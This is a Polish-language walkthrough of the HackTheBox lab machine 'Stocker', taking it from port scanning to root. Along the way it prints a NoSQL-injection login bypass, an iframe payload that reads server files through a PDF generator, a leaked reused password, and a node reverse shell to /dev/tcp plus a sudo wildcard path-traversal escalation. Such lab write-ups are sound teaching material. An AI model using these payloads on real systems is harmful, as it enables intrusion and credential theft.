[PL] HackTheBox - Stocker
June 25, 2023
Rekonesans
Nmap
Zaczynamy niezmiennie od przeskanowania maszyny narzędziem nmap
. Znajduje on dwa otwarte porty:
22 (SSH)
80 (HTTP)
rvr@rvr$ nmap -p- -o nmap.all-ports.out 10.10.11.196
# Nmap 7.92 scan initiated Fri Jun 23 18:35:50 2023 as: nmap -p- -o nmap.all-ports.out 10.10.11.196
Nmap scan report for 10.10.11.196
Host is up (0.061s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
rvr@rvr$ nmap -p22,80 -sCV -o nmap.out 10.10.11.196
# Nmap 7.92 scan initiated Fri Jun 23 19:42:41 2023 as: nmap -p22,80 -sCV -o nmap.out 10.10.11.196
Nmap scan report for 10.10.11.196
Host is up (0.065s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
| 256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_ 256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Na port 22 nie będziemy poświęcać zbyt dużo czasu. OpenSSH
jest bardzo dojrzałym projektem - krytyczne podatności pozwalające na dostanie się do systemu bez danych uwierzytelniających występują tu niezwykle rzadko. Tak jest i teraz, baza danych podatności dla OpenSSH
w wersji 8.2p1
nie zawiera nic, co mogłyby się przydać w exploitacji. Przejdźmy więc do portu 80, gdzie kryje się serwer nginx
.
TCP 80 (HTTP) - stocker.htb
Po przejściu pod IP maszyny zostajemy od razu przekierowani do domeny http://stocker.htb
. Wprawne oko mogło zauważyć to już wcześniej na skanie z narzędzia nmap. Jak zawsze, dodajemy tę domenę do pliku /etc/hosts
by móc odwołać się do maszyny po nazwie domenowej.
Wszystkie linki na stronie są puste i nie prowadzą do żadnej nowej podstrony. Jedyną potencjalnie przydatną informacją może być sekcja What our fantastic staff say, gdzie widzimy wypowiedź lidera IT w Stockers - Angoosa Gardena:
Z pewnym prawdopodobieństwem możemy założyć, że użytkownik ten posiada jakieś konto w systemie. Ale nawet gdybyśmy mieli rację, to i tak nie wiemy, jaki jest jego właściwy login. Może to angoose
, może garden
lub agarden
albo jeszcze inny, na który nawet nie jesteśmy w stanie wpaść. Nie wiemy też, gdzie użyć tego loginu - może w SSH, a może w innej usłudze, o której jeszcze nie wiemy? Warto jednak mieć to na uwadze, być może przyda się później.
Technologie
Zajrzyjmy teraz do źródła strony:
Zauważamy tu jedynie import dwóch bibliotek i niewielki skrypt, które odpowiadają głównie za część wizualną strony - animacje podczas przesuwania jej zawartości czy rozsuwane menu, gdy rozdzielczość ekranu jest niewielka. Nic szczególnego.
Jak wiemy z poprzednio opisywanej przeze mnie maszyny, zawsze warto przyjrzeć się też nagłówkom HTTP, które zwraca serwer - wyglądają jednak :
Ffuf
Czas na bruteforce zasobów. Tym razem pominiemy narzędzie gobuster
i wykorzystamy jedynie ffufa
. Wszystkie niezbędne flagi potrzebne do jego działania opisywałem w poprzednim poście, dlatego tym razem wrzucam jedynie wynik:
rvr@rvr$ ffuf -u http://stocker.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -o ffuf.dir.out -mc all -fs 162
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
________________________________________________
:: Method : GET
:: URL : http://stocker.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
:: Output file : ffuf.dir.out
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 162
________________________________________________
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 58ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 57ms]
img [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 59ms]
. [Status: 200, Size: 15463, Words: 4199, Lines: 322, Duration: 56ms]
fonts [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 56ms]
:: Progress: [43003/43003] :: Job [1/1] :: 697 req/sec :: Duration: [0:01:03] :: Errors: 0 ::
Znalezione ścieżki ponownie nie wyglądają na interesujące. Ot, to tylko foldery, w których przechowywane są elementy wykorzystane na stronie: cssy, skrypty js, obrazki czy użyte czcionki. Nic, co powinno przykuć naszą uwagę. Moglibyśmy zmienić nasz słownik na inny, ale dopóki nie wyczerpaliśmy wszystkich opcji, nie będziemy tego robić.
Zbrutforcujmy teraz subdomeny:
rvr@rvr$ ffuf -u http://stocker.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host: FUZZ.stocker.htb' -mc all -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
________________________________________________
:: Method : GET
:: URL : http://stocker.htb
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.stocker.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 178
________________________________________________
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 67ms]
:: Progress: [19966/19966] :: Job [1/1] :: 680 req/sec :: Duration: [0:00:29] :: Errors: 0 ::
Ffuf
bardzo szybko odnajduje: dev
. Dodajmy więc dev.stocker.htb
do pliku /etc/hosts
i przejdzmy do http://dev.stocker.htb
TCP 80 (HTTP) - dev.stocker.htb
Od razu zostajemy przekierowani do strony logowania:
Podgląd nagłówków w burpie odsłania informację X-Powered-By: Express
. Jest to framework Nodejs
, który odpowiada m.in. za obsługę żądań. Zanotujmy to sobie.
Shell jako angoose
Panel logowania
Skupmy się teraz na logowaniu. Wprowadzenie popularnych, bardzo często domyślnych par login-hasło, jak: admin:admin
, admin:password
, czy mniej oczywistych, lecz zasadnych w kontekście tej maszyny: angoose:angoose
, angoose:admin
, angoose:password
itp. nie przyniosło oczekiwanego rezultatu - za każdym razem odbijamy się od serwera uzyskując odpowiedź Invalid username or password
.
Sql Injection? Nie tym razem!
W takim razie czas na jakieś wstrzyknięcie! Zacznijmy od SQL Injection
, gdyż wydaje się to najbardziej oczywistym krokiem, kiedy mamy do czynienia z panelem logowania. Najlepiej od razu przenieść się do burpa
by było to łatwiejsze. Testy kilku najpopularniejszych payloadów ' or 1=1--
, " or 1=1--
itd. nie przyniosły żadnego rezultatu - uzyskujemy login-error
w burpie, co jest tożsame z Invalid username or password
, które widzieliśmy wcześniej w przeglądarce:
Co teraz? Mamy kilka opcji. Moglibyśmy wykorzystać sqlmapa
- być może coś przeoczyliśmy, a podatność sql injection dalej gdzieś tam jest. Możemy też brutforcować zasoby http://dev.stocker.htb
przy pomocy ffufa
czy gobustera
z nadzieją na znalezienie czegoś nie wymagającego uwierzytelnienia. Moglibyśmy również brutforcować dane logowania wykorzystując swój własny słownik. Znamy przecież potencjalnego użytkownika systemu jakim jest Angoose Garden
, moglibyśmy więc użyć narzędzia username anarchy lub innego podobnego, które wygenerowałoby nam różne loginy na bazie podanego imienia i nazwiska. Pozostałaby jeszcze kwestia nieznajomości hasła - tu też musielibyć wykorzystać jakiś słownik. Opcja ta jest jednak mało popularna w przypadku HackTheBox (i całe szczęście!), dlatego mało prawdopodobne, że jest to odpowiednia droga.
NoSql Injection
Spróbujmy podejść do problemu jednak trochę inaczej wykorzystując zebrane wcześniej informacje. Wiemy, że dev.stocker.htb
zbudowany jest na bazie Nodejs
i frameworka Express
. Aplikacje dla Nodejs
pisze się najczęściej w JavaScripcie. JavaScript świetnie rozumie JSONa, który zresztą bazuje na jego składni. Dlatego też aplikacje pisane dla Nodejs
bardzo często odbierają dane od klienta właśnie w postaci JSON. Ale w jaki sposób informacja ta przyda się nam? Otóż, jeśli te rozważania okażą się prawdziwe, otworzą nam drogę na nowe podatności.
Zmieńmy więc nagłówek Content-Type
żądania logowania z aktualnego application/x-www-form-urlencoded
na application/json
, jednocześnie zmieniając również format przesyłanych danych:
Otrzymujemy tę samą odpowiedź co wcześniej. Nadal nie wiemy zatem, czy zmiana ta coś nam dała. Jednym ze sposobów, aby to sprawdzić jest przesłanie niepoprawnego składniowo JSONa licząc, że aplikacja się wysypie zwracając nam komunikat błędu:
Tak też się dzieje. W odpowiedzi widzimy, że aplikacja nie mogła odpowiednio przeparsować przekazanego jej JSONa. Mamy więc pewność, że format ten rzeczywiście jest przez nią rozumiany. Dodatkowo, aplikacja “wycieka” także katalog, w którym jest uruchomiona, tj. /var/www/dev
.
Zastanówmy się teraz jakiej podatności powinniśmy szukać. Pamiętając, że typowe SQL Injection
nie przyniosło pożądanego rezultatu oraz biorąc pod uwagę fakt, że operujemy na JSONach, może w takim razie NoSQL Injection
? Sprawdźmy więc najprostszy payload { "username": { "$ne": null }, "password": { "$ne": null } }
, który ma za zadanie ominąć logowanie:
Udało się! Widzimy przekierowanie do /stock
, a nie login-error
jak wcześniej. Ale co się tutaj wydarzyło? Nasz payload zadziałał następująco: z bazy danych nosql
został wybrany pierwszy użytkownik, który posiada zdefiniowane pola username
i password
(nie jest ważne jakie mają wartości, ważne jest tylko by były fizycznie zdefiniowane - operator $ne: null
oznacza tu po prostu różne od null
). A skoro użytkownik został znaleziony, logowanie zakończyło się sukcesem.
Enumeracja sklepu
Mamy ustanowioną sesję, przekopiujmy ją do przeglądarki i przejdźmy do ścieżki /stock
. Widzimy prosty sklep internetowy:
Klikając Add to basket
dostajemy informację o dodaniu produktu do koszyka, kliknięcie View cart
natomiast wyświetla jego zawartość:
Żadne z tych działań nie wywołuje jednak żądania do serwera, wszystko dzieje się po stronie klienta - naszej przeglądarki. Jedynie Submit Purchase
rzeczywiście wykonuje żądanie do /api/order
, co możemy zaobserwować w burpie:
Po poprawnym zakupie, dostajemy link http://dev.stocker.htb/api/po/[CIĄG_ZNAKÓW_HEX]
do faktury w formacie PDF. Ciąg znaków heksadecymalnych w przytoczonym linku ma oczywiście tę samą wartość, co orderId
zwrócony w odpowiedzi na żądanie do /api/order
(do zaobserwowania wyżej). Ta wartość jest parsowana przez javascript na stronie i umieszczana w linku do pliku PDF:
Po otwarciu go dostajemy plik PDF z danymi użytymi we wcześniejszym żądaniu:
Metadane pliku pdf
Gdy mamy do czynienia z PDFem utworzonym po stronie serwera, zawsze warto sprawdzić jego metadane. Bardzo często ukryta jest tam informacja o narzędziu użytym do jego wygenerowania:
rvr@rvr$ exiftool document.pdf
ExifTool Version Number : 12.16
File Name : document.pdf
Directory : .
File Size : 37 KiB
File Modification Date/Time : 2023:06:24 19:36:46+02:00
File Access Date/Time : 2023:06:24 19:36:46+02:00
File Inode Change Date/Time : 2023:06:24 19:36:56+02:00
File Permissions : rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Tagged PDF : Yes
Creator : Chromium
Producer : Skia/PDF m108
Create Date : 2023:06:24 17:33:24+00:00
Modify Date : 2023:06:24 17:33:24+00:00
W oczy rzuca się Producer: Skia/PDF m108
. Szybki przegląd w google nie pokazał jednak istniejących podatności. Ciekawym rekordem jest również Creator: Chromium
, co sugeruje, że to właśnie chromium
został użyty do stworzenia pdfa. Skoro mamy do czynienia z przeglądarką internetową na jakimś poziomie tego procesu, to może czas na wstrzyknięcie kodu w języku, który najlepiej pasuje do tego rozwiązania? Jest nim oczywiście HTML. Gdyby okazało się, że jest on poprawnie zinterpretowany i wyrenderowany, moglibyśmy wykorzystać go do przeprowadzenia dalszego ataku.
Wstrzyknięcie HTML
Zacznijmy od wstrzyknięcia czegoś prostego i zupełnie nieszkodliwego, tj. kodu <u>Test</u>
. W wyniku powinniśmy otrzymać podkreślony tekst Test
:
W odpowiedzi dostajemy plik pdf:
Tak jak oczekiwaliśmy, kod html został poprawnie wyrenderowany!
Odczyt plików serwera
Czas na coś bardziej przydatnego. Wiemy, że pdf generowany jest po stronie serwera, sprawdźmy więc, czy możemy załadować jego lokalne pliki przy pomocy htmlowego iframe
. Wczytajmy na przykład plik /etc/passwd
, payloadem będzie więc np.<iframe src=file:///etc/passwd height=1000px width=500px>
Działa! Możemy tym samym potwierdzić, że użytkownik angoose
rzeczywiście posiada konto w systemie.
Mając LFI postarajmy się odczytać inne ciekawsze pliki, jak /proc/self/cmdline
, który pokaże nam w jaki sposób aplikacja została uruchomiona. Niestety próba ta nie powiodła się, iframe w wygenerowanym pdfie jest pusty. Prawdopodobnie aplikacji brakuje niezbędnych uprawnień:
Co teraz? Może szukać innych plików (np. pliku z konfiguracją nginxa
) z nadzieją, że zawierają coś interesującego. Możemy również zastosować podejście nazywane educated guess
- bardzo często w aplikacjach plik inicjujący zawiera tę samą, dobrze wszystkim znaną nazwę: w środowisku nodejs
plik ten to po prostu index.js
(dla php
jest to index.php
, dla pythona
- app.py
, itd.). Sprawdźmy więc czy taki plik istnieje, pamiętając, że ścieżka aplikacji zaczyna się od /var/www/dev
:
Tak! W odpowiedzi w pliku pdf dostajmy następujący kod źródłowy:
W nim dostrzegamy login i hasło do bazy danych mongodb
(oznaczone czerwoną ramką). Okazuje się, że hasło: IHeardPassphrasesArePrettySecure
i login angoose
pasują do ssh. Możemy się zalgować do systemu i odczytać flagę:
rvr@rvr$ ssh [email protected]
[email protected]'s password:
Last login: Sun Jun 24 18:25:57 2023 from 10.10.15.2
angoose@stocker:~$ id
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)
angoose@stocker:~$ ls
user.txt
angoose@stocker:~$ cat user.txt
c2a81c295***********************
Shell jako root
Enumeracja
Podstawowa enumeracja w zupełności wystarcza by odnaleźć drogę do eksalacji uprawnień. sudo -l
zwraca następujące informacje:
angoose@stocker:~$ sudo -l
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
Eskalacja uprawnień
Użytkownik angoose
może wykonywać polecenie /usr/bin/node /usr/local/scripts/*.js
jako root. Najważniejszym elementem dla nas jest *.js
na końcu. Oznacza to, że zamiast *
możemy wykorzystać dowolnie inny znak lub ich wielokrotność. Tym samym poprawnym poleceniem akceptowalnym przez sudo
będzie zarówno /usr/local/scripts/privesc.js
, jak i /usr/local/scripts/../../../../tmp/privesc.js
, a to oznacza, że nasz złośliwy plik może mieć nie tylko dowolną nazwę, ale również być wykonany z dowolnego, kontrolowanego przez nas katalogu. Sprawdźmy jednak najpierw uprawnienia katalogu /usr/local/scripts/
:
angoose@stocker$ stat /usr/local/scripts
File: /usr/local/scripts
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 802h/2050d Inode: 64592 Links: 3
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2023-06-25 02:12:14.953566800 +0000
Modify: 2022-12-06 10:33:06.816440125 +0000
Change: 2022-12-06 10:33:06.816440125 +0000
Birth: -
Jak widać, nie mamy możliwości zapisu, a więc możliwa jest tylko ta druga opcja - nasz plik musi być w innym folderze, do którego mamy właściwe uprawnienia. Umieśćmy go więc w ogólnodostępnym katalogu /tmp
. Jego zawartością będzie reverse shell
wykorzystujący moduł child_process
z nodejsa
, który zawiera metodę wykonującą dowolną komendę systemu operacyjnego. W naszym przypadku będzie to reverse shell w bashu
, który połączy się z portem nasłuchującym na naszej maszynie. Stwórzmy więc plik /tmp/privesc.js
:
angoose@stocker:/tmp$ cat privesc.js
require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.15.2/9999 0>&1"')
Stawiamy listener nc -lvnp 9999
na naszym hoście i uruchamiamy plik privesc.js
na atakowanej maszynie, tak jak niżej:
angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/privesc.js
Po chwili cieszymy się shellem z pełnymi uprawnieniami roota systemu:
rvr@rvr$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.15.2] from (UNKNOWN) [10.10.11.196] 44698
root@stocker:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@stocker:/tmp# cat /root/root.txt
cat /root/root.txt
44349d372***********************